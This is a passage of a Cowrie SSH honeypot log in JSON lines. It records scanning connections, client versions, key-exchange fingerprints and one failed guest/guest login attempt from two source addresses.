{"eventid":"cowrie.client.kex","hassh":"87e3d9ffee0540b0390f8a5b9c343c08","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-md5,hmac-sha1-96,hmac-md5-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp256-cert-v01@openssh.com"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-md5","hmac-sha1-96","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 87e3d9ffee0540b0390f8a5b9c343c08","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:55:18.896983Z","src_ip":"18.144.27.142","session":"df607a894024","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:55:19.249866Z","src_ip":"18.144.27.142","session":"df607a894024","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"18.144.27.142","src_port":33510,"dst_ip":"159.203.135.109","dst_port":22,"session":"2e9c84fa7748","protocol":"ssh","message":"New connection: 18.144.27.142:33510 (159.203.135.109:22) [session: 2e9c84fa7748]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:55:19.324106Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-paramiko_3.4.0","message":"Remote SSH version: SSH-2.0-paramiko_3.4.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:55:19.491769Z","src_ip":"18.144.27.142","session":"2e9c84fa7748","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"87e3d9ffee0540b0390f8a5b9c343c08","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-md5,hmac-sha1-96,hmac-md5-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp384","ecdsa-sha2-nistp384-cert-v01@openssh.com"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-md5","hmac-sha1-96","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 87e3d9ffee0540b0390f8a5b9c343c08","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:55:19.613192Z","src_ip":"18.144.27.142","session":"2e9c84fa7748","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:55:19.618401Z","src_ip":"18.144.27.142","session":"2e9c84fa7748","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"18.144.27.142","src_port":33524,"dst_ip":"159.203.135.109","dst_port":22,"session":"a115eb962032","protocol":"ssh","message":"New connection: 18.144.27.142:33524 (159.203.135.109:22) [session: a115eb962032]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:55:19.694541Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-paramiko_3.4.0","message":"Remote SSH version: SSH-2.0-paramiko_3.4.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:55:19.753365Z","src_ip":"18.144.27.142","session":"a115eb962032","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"87e3d9ffee0540b0390f8a5b9c343c08","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-md5,hmac-sha1-96,hmac-md5-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp521","ecdsa-sha2-nistp521-cert-v01@openssh.com"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-md5","hmac-sha1-96","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 87e3d9ffee0540b0390f8a5b9c343c08","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:55:20.188714Z","src_ip":"18.144.27.142","session":"a115eb962032","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:55:20.193471Z","src_ip":"18.144.27.142","session":"a115eb962032","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"18.144.27.142","src_port":33536,"dst_ip":"159.203.135.109","dst_port":22,"session":"0e71ded67291","protocol":"ssh","message":"New connection: 18.144.27.142:33536 (159.203.135.109:22) [session: 0e71ded67291]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:55:20.411611Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-paramiko_3.4.0","message":"Remote SSH version: SSH-2.0-paramiko_3.4.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:55:20.476175Z","src_ip":"18.144.27.142","session":"0e71ded67291","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"87e3d9ffee0540b0390f8a5b9c343c08","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-md5,hmac-sha1-96,hmac-md5-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-512","rsa-sha2-512-cert-v01@openssh.com"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-md5","hmac-sha1-96","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 87e3d9ffee0540b0390f8a5b9c343c08","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:55:20.590848Z","src_ip":"18.144.27.142","session":"0e71ded67291","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:55:20.595526Z","src_ip":"18.144.27.142","session":"0e71ded67291","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"18.144.27.142","src_port":33546,"dst_ip":"159.203.135.109","dst_port":22,"session":"df8dd35d999b","protocol":"ssh","message":"New connection: 18.144.27.142:33546 (159.203.135.109:22) [session: df8dd35d999b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:55:21.178579Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-paramiko_3.4.0","message":"Remote SSH version: SSH-2.0-paramiko_3.4.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:55:21.207270Z","src_ip":"18.144.27.142","session":"df8dd35d999b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"87e3d9ffee0540b0390f8a5b9c343c08","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-md5,hmac-sha1-96,hmac-md5-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256","rsa-sha2-256-cert-v01@openssh.com"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-md5","hmac-sha1-96","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 87e3d9ffee0540b0390f8a5b9c343c08","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:55:21.291047Z","src_ip":"18.144.27.142","session":"df8dd35d999b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:55:21.296681Z","src_ip":"18.144.27.142","session":"df8dd35d999b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"18.144.27.142","src_port":33550,"dst_ip":"159.203.135.109","dst_port":22,"session":"ecc380cfe5cb","protocol":"ssh","message":"New connection: 18.144.27.142:33550 (159.203.135.109:22) [session: ecc380cfe5cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:55:21.631642Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-paramiko_3.4.0","message":"Remote SSH version: SSH-2.0-paramiko_3.4.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:55:21.757863Z","src_ip":"18.144.27.142","session":"ecc380cfe5cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"87e3d9ffee0540b0390f8a5b9c343c08","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-md5,hmac-sha1-96,hmac-md5-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-md5","hmac-sha1-96","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 87e3d9ffee0540b0390f8a5b9c343c08","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:55:21.981079Z","src_ip":"18.144.27.142","session":"ecc380cfe5cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:55:22.409065Z","src_ip":"18.144.27.142","session":"ecc380cfe5cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"18.144.27.142","src_port":41886,"dst_ip":"159.203.135.109","dst_port":22,"session":"fff67dab23fe","protocol":"ssh","message":"New connection: 18.144.27.142:41886 (159.203.135.109:22) [session: fff67dab23fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:55:22.473680Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-paramiko_3.4.0","message":"Remote SSH version: SSH-2.0-paramiko_3.4.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:55:22.518222Z","src_ip":"18.144.27.142","session":"fff67dab23fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"87e3d9ffee0540b0390f8a5b9c343c08","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-md5,hmac-sha1-96,hmac-md5-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-md5","hmac-sha1-96","hmac-md5-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 87e3d9ffee0540b0390f8a5b9c343c08","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:55:22.622809Z","src_ip":"18.144.27.142","session":"fff67dab23fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:55:22.629056Z","src_ip":"18.144.27.142","session":"fff67dab23fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.243.151.30","src_port":54994,"dst_ip":"10.17.0.5","dst_port":22,"session":"6b4381c28a79","protocol":"ssh","message":"New connection: 171.243.151.30:54994 (10.17.0.5:22) [session: 6b4381c28a79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:55:43.430882Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:55:43.607015Z","src_ip":"171.243.151.30","session":"6b4381c28a79","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:55:43.702697Z","src_ip":"171.243.151.30","session":"6b4381c28a79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest","message":"login attempt [guest/guest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:55:45.307345Z","src_ip":"171.243.151.30","session":"6b4381c28a79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:55:46.548638Z","src_ip":"171.243.151.30","session":"6b4381c28a79","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.243.151.30","src_port":48608,"dst_ip":"10.17.0.5","dst_port":22,"session":"7f09e020b0a4","protocol":"ssh","message":"New connection: 171.243.151.30:48608 (10.17.0.5:22) [session: 7f09e020b0a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:57:08.322594Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:57:08.327226Z","src_ip":"171.243.151.30","session":"7f09e020b0a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: 